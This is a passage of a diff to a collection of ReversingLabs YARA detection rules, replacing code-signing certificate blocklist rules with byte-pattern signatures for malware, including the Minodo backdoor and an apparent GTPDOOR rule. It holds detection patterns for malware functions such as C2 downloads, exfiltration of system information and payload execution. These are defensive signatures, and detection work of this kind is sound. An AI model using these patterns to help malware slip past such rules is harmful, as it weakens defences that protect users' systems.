?? ?? + 48 8B 6C 24 ?? BE ?? ?? ?? ?? EB ?? 41 3B FC 0F 82 ?? ?? ?? ?? 48 8B DE 4C 8B A4 24 + ?? ?? ?? ?? 4D 85 F6 74 ?? FF 15 ?? ?? ?? ?? 4D 8B C6 33 D2 48 8B C8 FF 15 ?? ?? ?? + ?? 4C 8B B4 24 ?? ?? ?? ?? 48 85 DB 74 ?? FF 15 ?? ?? ?? ?? 4C 8B C3 33 D2 48 8B C8 + FF 15 ?? ?? ?? ?? 48 8B 7C 24 ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B C8 E8 ?? + ?? ?? ?? 4C 8B AC 24 ?? ?? ?? ?? 48 8B D8 48 85 C0 75 ?? 48 8D 0D ?? ?? ?? ?? E8 ?? + ?? ?? ?? 48 8B C8 E8 ?? ?? ?? ?? 48 8B D8 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B + D0 48 8B CB E8 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 85 C0 74 ?? 48 8B CF FF D0 48 + 8B BC 24 ?? ?? ?? ?? 48 85 ED 74 ?? FF 15 ?? ?? ?? ?? 4C 8B C5 33 D2 48 8B C8 FF 15 + ?? ?? ?? ?? 8B C6 48 8B 4C 24 ?? 48 33 CC E8 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? 5E 5D + C3 + } + $decryption_algorithm = { + 40 53 48 83 EC ?? 0F B6 01 48 8B D9 84 C0 0F 84 ?? ?? ?? ?? 48 FF C3 48 89 7C 24 ?? + 4C 8B C9 8B F8 3C ?? 72 ?? 83 E7 ?? B9 ?? ?? ?? ?? 0F 1F 00 0F B6 13 48 FF C3 8B C2 + 83 E0 ?? D3 E0 83 C1 ?? 0B F8 80 FA ?? 73 ?? 33 C0 4C 8B C3 4D 2B C1 4C 3B CB 4C 0F + 47 C0 4D 85 C0 74 ?? 33 D2 49 8B C9 E8 ?? ?? ?? ?? 8B C7 99 83 E2 ?? 03 C2 C1 F8 ?? + 85 C0 7E ?? 48 89 74 24 ?? 48 8B FB 8B F0 66 90 48 8B D7 E8 ?? ?? ?? ?? 48 83 C7 ?? + 48 83 EE ?? 75 ?? 48 8B 74 24 ?? 48 8B C3 48 8B 7C 24 ?? 48 83 C4 ?? 5B C3 48 8B 7C + 24 ?? 48 8B C3 48 83 C4 ?? 5B C3 + } + $request_access_token_p1 = { + 40 53 55 56 57 41 54 41 55 41 56 41 57 48 81 EC ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 + 33 C4 48 89 84 24 ?? ?? ?? ?? 33 C0 4C 89 4C 24 ?? 33 FF 48 89 44 24 ?? 0F 57 C0 89 + 7C 24 ?? 48 C7 C3 ?? ?? ?? ?? 8B F7 49 8B E8 4C 8B FA 4C 8B F1 48 8B C3 0F 11 44 24 + ?? 48 FF C0 42 38 34 00 75 ?? 48 8B CB 48 FF C1 40 38 34 0A 75 ?? 48 03 C1 48 8B CB + 48 FF C1 41 38 34 0E 75 ?? 48 03 C1 4C 8D 24 C5 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 4D 8B + C4 BA ?? ?? ?? ?? 48 8B C8 FF 15 ?? ?? ?? ?? 4C 8B E8 48 85 C0 74 ?? 48 89 6C 24 ?? + 4C 8D 05 ?? ?? ?? ?? 4D 8B CE 4C 89 7C 24 ?? 49 8B D4 48 8B C8 E8 ?? ?? ?? ?? 4C 8D + 0D ?? ?? ?? ?? 4C 8D 05 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D 4C 24 ?? E8 ?? ?? ?? + ?? 85 C0 0F 84 ?? ?? ?? ?? 33 D2 48 8D 4C 24 ?? 41 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 + 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B C8 E8 ?? ?? ?? ?? 48 8B E8 48 85 C0 75 ?? 48 + 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B C8 E8 ?? ?? ?? ?? 48 8B E8 48 8D 0D ?? ?? ?? + ?? E8 ?? ?? ?? ?? 48 8B D0 48 8B CD FF 15 ?? ?? ?? ?? 48 85 C0 0F 84 ?? ?? ?? ?? 48 + 8B 6C 24 ?? 48 8D 15 ?? ?? ?? ?? 48 8B CD 41 B9 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? FF D0 + } + $request_access_token_p2 = { + 85 C0 0F 84 ?? ?? ?? ?? 49 8B D5 48 8B CD E8 ?? ?? ?? ?? 48 8B F0 48 85 C0 0F 84 ?? + ?? ?? ?? 48 8B D3 66 90 48 FF C2 40 38 3C 10 75 ?? 48 FF C2 48 8B C8 E8 ?? ?? ?? ?? + 4C 8B F0 48 85 C0 74 ?? 48 8D 15 ?? ?? ?? ?? 48 8B C8 E8 ?? ?? ?? ?? 48 8B E8 48 85 + C0 74 ?? 83 78 ?? ?? 75 ?? 48 8B 48 ?? 48 8B FB 80 7C 39 ?? ?? 48 8D 7F ?? 75 ?? FF + 15 ?? ?? ?? ?? 4C 8D 47 ?? BA ?? ?? ?? ?? 48 8B C8 FF 15 ?? ?? ?? ?? 48 8B 55 ?? 4C + 8B C3 48 8B F8 0F 1F 00 49 FF C0 42 80 3C 02 ?? 75 ?? 49 FF C0 48 8B C8 E8 ?? ?? ?? + ?? 49 8B CE E8 ?? ?? ?? ?? 48 85 FF 74 ?? 80 7C 1F ?? ?? 48 8D 5B ?? 75 ?? 48 8D 53 + ?? 48 8B CF E8 ?? ?? ?? ?? 48 8B 4C 24 ?? BB ?? ?? ?? ?? 48 89 01 EB ?? 8B 5C 24 ?? + EB ?? 8B DF EB ?? 8B DE 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 4D 85 ED 74 ?? FF 15 ?? ?? ?? + ?? 4D 8B C5 33 D2 48 8B C8 FF 15 ?? ?? ?? ?? 48 85 F6 74 ?? FF 15 ?? ?? ?? ?? 4C 8B + C6 33 D2 48 8B C8 FF 15 ?? ?? ?? ?? 48 85 FF 74 ?? FF 15 ?? ?? ?? ?? 4C 8B C7 33 D2 + 48 8B C8 FF 15 ?? ?? ?? ?? 8B C3 48 8B 8C 24 ?? ?? ?? ?? 48 33 CC E8 ?? ?? ?? ?? 48 + 81 C4 ?? ?? ?? ?? 41 5F 41 5E 41 5D 41 5C 5F 5E 5D 5B C3 + } + $network_communication_p1 = { + 40 53 56 57 41 54 41 56 41 57 48 83 EC ?? 48 8B 05 ?? ?? ?? ?? 48 33 C4 48 89 44 24 + ?? 8B 35 ?? ?? ?? ?? 48 8B F9 48 8D 0D ?? ?? ?? ?? 4D 8B E1 4D 8B F8 4C 8B F2 E8 ?? + ?? ?? ?? 48 8B C8 E8 ?? ?? ?? ?? 48 8B D8 48 85 C0 75 ?? 48 8D 0D ?? ?? ?? ?? E8 ?? + ?? ?? ?? 48 8B C8 E8 ?? ?? ?? ?? 48 8B D8 48 8D 0D ?? ?? ?? ?? 48 89 6C 24 ?? E8 ?? + ?? ?? ?? 48 8B D0 48 8B CB FF 15 ?? ?? ?? ?? 33 DB 48 85 C0 0F 84 ?? ?? ?? ?? 45 33 + C9 89 5C 24 ?? 45 33 C0 48 8D 0D ?? ?? ?? ?? 8B D6 FF D0 48 89 07 48 8B E8 48 85 C0 + 0F 84 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B C8 E8 ?? ?? ?? ?? 48 8B + F0 48 85 C0 75 ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B C8 E8 ?? ?? ?? ?? 48 8B + F0 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B D0 48 8B CE FF 15 ?? ?? ?? ?? 48 85 C0 + 0F 84 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? 45 33 C9 49 8B D6 48 8B CD FF D0 48 89 47 ?? 48 + } + $network_communication_p2 = { + 8B E8 48 85 C0 0F 84 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B C8 E8 ?? + ?? ?? ?? 48 8B F0 48 85 C0 75 ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B C8 E8 ?? + ?? ?? ?? 48 8B F0 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B D0 48 8B CE FF 15 ?? ?? + ?? ?? 48 85 C0 74 ?? C7 44 24 ?? ?? ?? ?? ?? 45 33 C9 48 89 5C 24 ?? 4D 8B C7 49 8B + D4 48 89 5C 24 ?? 48 8B CD FF D0 48 8B D8 48 8D 0D ?? ?? ?? ?? 48 89 5F ?? C7 44 24 + ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B C8 E8 ?? ?? ?? ?? 48 8B F8 48 85 C0 75 ?? 48 8D + 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B C8 E8 ?? ?? ?? ?? 48 8B F8 48 8D 0D ?? ?? ?? ?? + E8 ?? ?? ?? ?? 48 8B D0 48 8B CF FF 15 ?? ?? ?? ?? 48 85 C0 74 ?? 41 B9 ?? ?? ?? ?? + 4C 8D 44 24 ?? 48 8B CB 41 8D 51 ?? FF D0 B8 ?? ?? ?? ?? EB ?? 48 89 5F ?? EB ?? 48 + 89 1F 33 C0 48 8B 6C 24 ?? 48 8B 4C 24 ?? 48 33 CC E8 ?? ?? ?? ?? 48 83 C4 ?? 41 5F + 41 5E 41 5C 5F 5E 5B C3 + } + $download_data_from_c2_p1 = { + 4C 8B DC 55 56 57 49 8D AB ?? ?? ?? ?? 48 81 EC ?? ?? ?? ?? 48 8B 05 ?? ?? ?? ?? 48 + 33 C4 48 89 85 ?? ?? ?? ?? 49 89 5B ?? 33 FF 4D 89 63 ?? 48 8B D9 4D 89 6B ?? 48 8D + 0D ?? ?? ?? ?? 4D 8B E8 4D 89 73 ?? 0F 57 C0 4D 89 7B ?? 33 C0 4C 8D 67 ?? 4D 8B C1 + 48 89 44 24 ?? 0F 11 44 24 ?? 8B F7 E8 ?? ?? ?? ?? 48 89 44 24 ?? 4C 8B F8 48 85 C0 + 0F 84 ?? ?? ?? ?? 4C 8D 0D ?? ?? ?? ?? 4C 8B C0 48 8D 15 ?? ?? ?? ?? 48 8D 4C 24 ?? + E8 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 33 D2 48 8D 4D ?? 41 B8 ?? ?? ?? ?? E8 ?? ?? + ?? ?? 4C 8B CB 4C 8D 05 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 8D 4D ?? E8 ?? ?? ?? ?? 48 8D + 45 ?? 49 8B DC 0F 1F 80 ?? ?? ?? ?? 48 FF C3 66 39 34 58 75 ?? 48 8D 0D ?? ?? ?? ?? + E8 ?? ?? ?? ?? 48 8B C8 E8 ?? ?? ?? ?? 4C 8B F0 48 85 C0 75 ?? 48 8D 0D ?? ?? ?? ?? + E8 ?? ?? ?? ?? 48 8B C8 E8 ?? ?? ?? ?? 4C 8B F0 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? + 48 8B D0 49 8B CE FF 15 ?? ?? ?? ?? 48 85 C0 0F 84 ?? ?? ?? ?? 4C 8B 7C 24 ?? 48 8D + 55 ?? 49 8B CF 41 B9 ?? ?? ?? ?? 44 8B C3 FF D0 85 C0 0F 84 ?? ?? ?? ?? 48 8D 0D ?? + ?? ?? ?? E8 ?? ?? ?? ?? 48 8B C8 E8 ?? ?? ?? ?? 48 8B D8 48 85 C0 75 ?? 48 8D 0D ?? + ?? ?? ?? E8 ?? ?? ?? ?? 48 8B C8 E8 ?? ?? ?? ?? 48 8B D8 48 8D 0D ?? ?? ?? ?? E8 ?? + ?? ?? ?? 48 8B D0 48 8B CB E8 ?? ?? ?? ?? 48 85 C0 0F 84 ?? ?? ?? ?? 48 89 7C 24 ?? + 45 33 C9 C7 44 24 ?? ?? ?? ?? ?? 45 33 C0 BA ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 49 + 8B CD FF D0 4C 8B E0 48 83 F8 ?? 0F 84 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? + ?? 48 8B C8 E8 ?? ?? ?? ?? 48 8B D8 48 85 C0 75 ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? + ?? 48 8B C8 E8 ?? ?? ?? ?? 48 8B D8 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B D0 48 + } + $download_data_from_c2_p2 = { + 8B CB FF 15 ?? ?? ?? ?? 48 85 C0 0F 84 ?? ?? ?? ?? 48 89 7C 24 ?? 45 33 C9 89 7C 24 + ?? 45 33 C0 33 D2 89 7C 24 ?? 49 8B CF FF D0 85 C0 0F 84 ?? ?? ?? ?? 48 8D 0D ?? ?? + ?? ?? 89 7C 24 ?? 89 7C 24 ?? 89 7C 24 ?? 89 7C 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 7C + 24 ?? E8 ?? ?? ?? ?? 48 8B C8 E8 ?? ?? ?? ?? 48 8B D8 48 85 C0 75 ?? 48 8D 0D ?? ?? + ?? ?? E8 ?? ?? ?? ?? 48 8B C8 E8 ?? ?? ?? ?? 48 8B D8 48 8D 0D ?? ?? ?? ?? E8 ?? ?? + ?? ?? 48 8B D0 48 8B CB FF 15 ?? ?? ?? ?? 48 85 C0 0F 84 ?? ?? ?? ?? 33 D2 49 8B CF + FF D0 85 C0 0F 84 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B C8 E8 ?? ?? + ?? ?? 48 8B D8 48 85 C0 75 ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B C8 E8 ?? ?? + ?? ?? 48 8B D8 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B D0 48 8B CB FF 15 ?? ?? ?? + ?? 48 85 C0 0F 84 ?? ?? ?? ?? 48 8D 4C 24 ?? 45 33 C0 48 89 4C 24 ?? 4C 8D 4C 24 ?? + 48 8D 4C 24 ?? BA ?? ?? ?? ?? 48 89 4C 24 ?? 49 8B CF FF D0 85 C0 0F 84 ?? ?? ?? ?? + 8B 5C 24 ?? FF 15 ?? ?? ?? ?? 44 8B C3 BA ?? ?? ?? ?? 48 8B C8 FF 15 ?? ?? ?? ?? 48 + 8B F0 48 85 C0 0F 84 ?? ?? ?? ?? 90 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B C8 E8 + ?? ?? ?? ?? 48 8B D8 48 85 C0 75 ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B C8 E8 + ?? ?? ?? ?? 48 8B D8 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B D0 48 8B CB FF 15 ?? + ?? ?? ?? 48 85 C0 0F 84 ?? ?? ?? ?? 48 8D 54 24 ?? 49 8B CF FF D0 85 C0 0F 84 ?? ?? + ?? ?? 44 8B 74 24 ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B C8 E8 ?? ?? ?? ?? 48 + } + $download_data_from_c2_p3 = { + 8B D8 48 85 C0 75 ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B C8 E8 ?? ?? ?? ?? 48 + 8B D8 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B D0 48 8B CB FF 15 ?? ?? ?? ?? 48 85 + C0 0F 84 ?? ?? ?? ?? 4C 8D 4C 24 ?? 45 8B C6 48 8B D6 49 8B CF FF D0 85 C0 74 ?? 44 + 8B 74 24 ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B C8 E8 ?? ?? ?? ?? 48 8B D8 48 + 85 C0 75 ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B C8 E8 ?? ?? ?? ?? 48 8B D8 48 + 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B D0 48 8B CB FF 15 ?? ?? ?? ?? 48 85 C0 74 ?? + 4C 8D 4C 24 ?? 48 89 7C 24 ?? 45 8B C6 48 8B D6 49 8B CC FF D0 85 C0 74 ?? 39 7C 24 + ?? 0F 87 ?? ?? ?? ?? BF ?? ?? ?? ?? 4C 8B 7C 24 ?? 48 8D 4C 24 ?? 44 8B F7 E8 ?? ?? + ?? ?? 4D 85 E4 74 ?? 49 83 FC ?? 74 ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B C8 + E8 ?? ?? ?? ?? 48 8B F8 48 85 C0 75 ?? 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B C8 + E8 ?? ?? ?? ?? 48 8B F8 48 8D 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B D0 48 8B CF E8 ?? + ?? ?? ?? 41 8B FE 48 85 C0 74 ?? 49 8B CC FF D0 4D 85 FF 74 ?? FF 15 ?? ?? ?? ?? 4D + 8B C7 33 D2 48 8B C8 FF 15 ?? ?? ?? ?? 4C 8B BC 24 ?? ?? ?? ?? 4C 8B B4 24 ?? ?? ?? + ?? 4C 8B AC 24 ?? ?? ?? ?? 4C 8B A4 24 ?? ?? ?? ?? 48 8B 9C 24 ?? ?? ?? ?? 48 85 F6 + 74 ?? FF 15 ?? ?? ?? ?? 4C 8B C6 33 D2 48 8B C8 FF 15 ?? ?? ?? ?? 8B C7 48 8B 8D ?? + ?? ?? ?? 48 33 CC E8 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? 5F 5E 5D C3 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Lets Start SP Z O O" and ( pe.signatures [ i ] . serial == "00:af:f7:62:e9:07:f0:64:4e:76:ed:8a:74:85:fb:12:a1" or pe.signatures [ i ] . serial == "af:f7:62:e9:07:f0:64:4e:76:ed:8a:74:85:fb:12:a1" ) and 1594882330 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( all of ( $decrypt_configuration_p* ) ) and ( $decryption_algorithm ) and ( all of ( $request_access_token_p* ) ) and ( all of ( $network_communication_p* ) ) and ( all of ( $download_data_from_c2_p* ) ) } - -rule REVERSINGLABS_Cert_Blocklist_D8530214Ca0F512946496B5164C61201 : INFO FILE +rule REVERSINGLABS_Win32_Backdoor_Minodo : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects Minodo backdoor." author = "ReversingLabs" - id = "0125a67a-d5e7-5c93-a58c-cacb6d8fa60b" - date = "2020-08-05" - modified = "2023-11-08" + id = "0eeff863-1a46-5b25-8780-5cd887e3b1e2" + date = "2023-06-07" + modified = "2023-06-07" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L4910-L4928" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/backdoor/Win64.Backdoor.Minodo.yara#L1-L110" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "377962915586c9f5a5737c24b698c96efc2e819e52ee16109c405f9af2d57e7f" + logic_hash = "807408699fe00c8d1170598050e533dd0d79bb170f2538b6b6227cda7410060b" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Backdoor" + tc_detection_name = "Minodo" + tc_detection_factor = 5 importance = 25 + strings: + $generate_system_id = { + 40 55 53 56 57 41 56 48 8D 6C 24 ?? 48 81 EC ?? ?? ?? ?? 4C 8B F1 48 8D 55 ?? 48 8D + 4D ?? C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 33 DB 85 C0 75 ?? 66 C7 45 ?? ?? ?? 4C + 8D 45 ?? 48 8D 55 ?? B9 ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 85 C0 75 + ?? 66 C7 45 ?? ?? ?? 48 83 4D ?? ?? 4C 8D 4D ?? 4C 8D 45 ?? 8B CB 48 8B D3 BE ?? ?? + ?? ?? 48 85 D2 7E ?? 44 8A 54 15 ?? EB ?? 44 8A 95 ?? ?? ?? ?? 41 8A 01 49 FF C1 48 + FF C2 32 44 15 ?? 41 32 C2 41 32 00 49 FF C0 88 44 15 ?? 41 38 19 75 ?? 83 C9 ?? 4C + 8D 4D ?? 41 38 18 75 ?? 83 C9 ?? 4C 8D 45 ?? 48 3B D6 75 ?? 83 C9 ?? 48 8B D3 83 F9 + ?? 75 ?? 48 8D 15 ?? ?? ?? ?? 48 8D 4D ?? FF 15 ?? ?? ?? ?? 48 8D 5D ?? 49 8B FE 44 + 0F B6 03 48 8D 55 ?? 48 8B CF FF 15 ?? ?? ?? ?? 48 83 C7 ?? 48 FF C3 48 FF CE 75 ?? + FF 15 ?? ?? ?? ?? 48 8D 15 ?? ?? ?? ?? 48 8D 4D ?? 8B D8 FF 15 ?? ?? ?? ?? 48 8D 55 + ?? 44 8B CB 4D 8B C6 49 8B CE FF 15 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? 41 5E 5F 5E 5B + 5D C3 + } + $generate_encrypt_and_send_key = { + 48 8B C4 48 89 58 ?? 48 89 68 ?? 48 89 70 ?? 48 89 78 ?? 41 56 48 81 EC ?? ?? ?? ?? + 8B F2 E8 ?? ?? ?? ?? 48 85 C0 75 ?? 33 C0 E9 ?? ?? ?? ?? 48 8B 40 ?? 48 8B 08 8B 09 + E8 ?? ?? ?? ?? 48 8B F8 48 85 C0 74 ?? 45 33 C0 45 8D 70 ?? 41 8D 50 ?? 41 8B CE E8 + ?? ?? ?? ?? 48 8B D8 83 F8 ?? 74 ?? 41 8D 6E ?? 48 8D 44 24 ?? 8B CD C6 00 ?? 48 FF + C0 48 FF C9 75 ?? 0F B7 CE 66 44 89 74 24 ?? E8 ?? ?? ?? ?? 48 8B CF 66 89 44 24 ?? + E8 ?? ?? ?? ?? 48 63 FB 48 8D 54 24 ?? 48 8B CF 44 8B C5 89 44 24 ?? E8 ?? ?? ?? ?? + 85 C0 74 ?? 48 8B CF E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8D 2D ?? ?? ?? ?? BE ?? ?? ?? + ?? 48 8B CD 8B D6 E8 ?? ?? ?? ?? 66 C7 44 24 ?? ?? ?? 33 C9 8A 44 29 ?? 48 FF C9 88 + 44 0C ?? 48 FF CE 75 ?? 8D 56 ?? 44 8D 46 ?? 48 8D 4C 24 ?? E8 ?? ?? ?? ?? 48 8B CF + 8B F0 85 C0 74 ?? 48 8D 54 24 ?? 45 33 C9 44 8B C0 E8 ?? ?? ?? ?? 3B C6 74 ?? 48 8B + CF E8 ?? ?? ?? ?? 33 DB 8B C3 4C 8D 9C 24 ?? ?? ?? ?? 49 8B 5B ?? 49 8B 6B ?? 49 8B + 73 ?? 49 8B 7B ?? 49 8B E3 41 5E C3 + } + $get_encrypt_and_send_system_info = { + 48 89 5C 24 ?? 48 89 74 24 ?? 48 89 7C 24 ?? 55 48 8D 6C 24 ?? 48 81 EC ?? ?? ?? ?? + 8B F1 48 8B CA 48 8B DA FF 15 ?? ?? ?? ?? C6 44 24 ?? ?? 48 63 F8 40 88 7C 24 ?? 4C + 8B C7 85 C0 74 ?? 48 8D 44 24 ?? 48 2B D8 48 8D 4C 24 ?? 49 FF C8 4A 8D 0C 01 8A 04 + 0B 88 01 75 ?? 83 C7 ?? 48 63 DF E8 ?? ?? ?? ?? BA ?? ?? ?? ?? F6 D8 48 8D 45 ?? 1A + C9 80 E1 ?? 80 C9 ?? FF C7 88 4C 1C ?? 8B CA C6 00 ?? 48 FF C0 48 FF C9 75 ?? 48 8D + 4D ?? 89 55 ?? FF 15 ?? ?? ?? ?? 8A 45 ?? 48 63 CF 88 44 0C ?? 8A 45 ?? FF C7 48 63 + CF FF C7 BB ?? ?? ?? ?? 88 44 0C ?? 8A 45 ?? 48 63 CF 88 44 0C ?? 8A 45 ?? FF C7 48 + 63 CF FF C7 4C 8D 85 ?? ?? ?? ?? 88 44 0C ?? 8A 45 ?? 48 63 D7 88 44 14 ?? 8B 45 ?? + FF C7 48 63 D7 8D 4B ?? C6 44 24 ?? ?? 89 44 14 ?? 48 8D 54 24 ?? 83 C7 ?? 89 9D ?? + ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8D 4C 24 ?? FF 15 ?? ?? ?? ?? 44 8B C0 8D 48 ?? 03 CF + 48 63 D1 48 83 FA ?? 76 ?? 44 8D 43 ?? 44 2B C7 48 63 C7 FF C7 4C 8D 54 24 ?? 44 88 + 44 04 ?? 48 63 C7 49 63 D0 4C 03 D0 45 85 C0 74 ?? 4C 8D 4C 24 ?? 4A 8D 0C 12 4D 2B + CA 48 FF C9 41 8A 04 09 88 01 48 FF CA 75 ?? 48 8D 95 ?? ?? ?? ?? 48 8D 4C 24 ?? 41 + 03 F8 C6 44 24 ?? ?? 89 9D ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 48 8D 4C 24 ?? FF 15 ?? ?? + ?? ?? 44 8B C0 8D 48 ?? 03 CF 48 63 D1 48 83 FA ?? 76 ?? 41 B8 ?? ?? ?? ?? 44 2B C7 + 48 63 C7 FF C7 4C 8D 54 24 ?? 44 88 44 04 ?? 48 63 C7 49 63 D0 4C 03 D0 45 85 C0 74 + ?? 4C 8D 4C 24 ?? 4A 8D 0C 12 4D 2B CA 48 FF C9 42 8A 04 09 88 01 48 FF CA 75 ?? 4C + 8D 4C 24 ?? 48 8D 54 24 ?? 44 03 C7 8B CE E8 ?? ?? ?? ?? 4C 8D 9C 24 ?? ?? ?? ?? 49 + 8B 5B ?? 49 8B 73 ?? 49 8B 7B ?? 49 8B E3 5D C3 + } + $copy_payload_into_allocated_memory = { + 48 89 5C 24 ?? 48 89 6C 24 ?? 56 57 41 56 48 83 EC ?? 49 8B D8 48 63 F2 48 8B F9 41 + C6 00 ?? C7 44 24 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 84 C0 75 ?? 66 C7 03 ?? ?? B8 ?? ?? + ?? ?? E9 ?? ?? ?? ?? 4C 8D 4C 24 ?? 4C 8D 44 24 ?? 48 8B D3 48 8B CF E8 ?? ?? ?? ?? + 8B E8 85 C0 74 ?? 41 B9 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? 48 8B D6 33 C9 4C 8B F6 FF 15 + ?? ?? ?? ?? 48 8B F0 48 85 C0 75 ?? 66 C7 03 ?? ?? FF 15 ?? ?? ?? ?? 89 43 ?? 8D 46 + ?? EB ?? 4D 8B C6 48 8B D7 48 8B C8 E8 ?? ?? ?? ?? 48 83 64 24 ?? ?? 83 64 24 ?? ?? + 4C 8D 04 2E 45 33 C9 33 D2 33 C9 FF 15 ?? ?? ?? ?? 48 8B C8 FF 15 ?? ?? ?? ?? 8B 44 + 24 ?? 48 8B 5C 24 ?? 48 8B 6C 24 ?? 48 83 C4 ?? 41 5E 5F 5E C3 + } + $execute_payload_from_temp = { + 40 53 48 81 EC ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? 4C 8B D1 48 8D 44 24 ?? 41 8B D0 33 DB + 88 18 48 FF C0 48 FF CA 75 ?? 48 8D 44 24 ?? 8D 4A ?? 88 18 48 FF C0 48 FF C9 75 ?? + 48 8D 44 24 ?? 44 89 44 24 ?? 45 33 C9 48 89 44 24 ?? 48 8D 44 24 ?? 45 33 C0 48 89 + 44 24 ?? 48 89 5C 24 ?? 48 89 5C 24 ?? 49 8B D2 89 5C 24 ?? C7 84 24 ?? ?? ?? ?? ?? + ?? ?? ?? 89 5C 24 ?? 66 89 9C 24 ?? ?? 00 00 FF 15 ?? ?? ?? ?? 85 C0 74 ?? 48 8B 4C + 24 ?? FF 15 ?? ?? ?? ?? 48 8B 4C 24 ?? FF 15 ?? ?? ?? ?? B0 ?? EB ?? 32 C0 48 81 C4 + ?? ?? ?? ?? 5B C3 + } + condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "DJ ONLINE MARKETING LIMITED" and ( pe.signatures [ i ] . serial == "00:d8:53:02:14:ca:0f:51:29:46:49:6b:51:64:c6:12:01" or pe.signatures [ i ] . serial == "d8:53:02:14:ca:0f:51:29:46:49:6b:51:64:c6:12:01" ) and 1595485920 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and ( $generate_system_id ) and ( $generate_encrypt_and_send_key ) and ( $get_encrypt_and_send_system_info ) and ( $copy_payload_into_allocated_memory ) and ( $execute_payload_from_temp ) } - -rule REVERSINGLABS_Cert_Blocklist_661Ba8F3C9D1B348413484E9A49502F7 : INFO FILE +rule REVERSINGLABS_Linux_Backdoor_GTPDOOR : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects GTPDOOR backdoor." author = "ReversingLabs" - id = "a0c501c9-a856-55b6-b845-aeab4db5ab51" - date = "2020-08-05" - modified = "2023-11-08" + id = "9e6df856-fe54-504c-8530-321adc91cd5a" + date = "2024-09-10" + modified = "2024-09-10" reference = "ReversingLabs" - source_url = 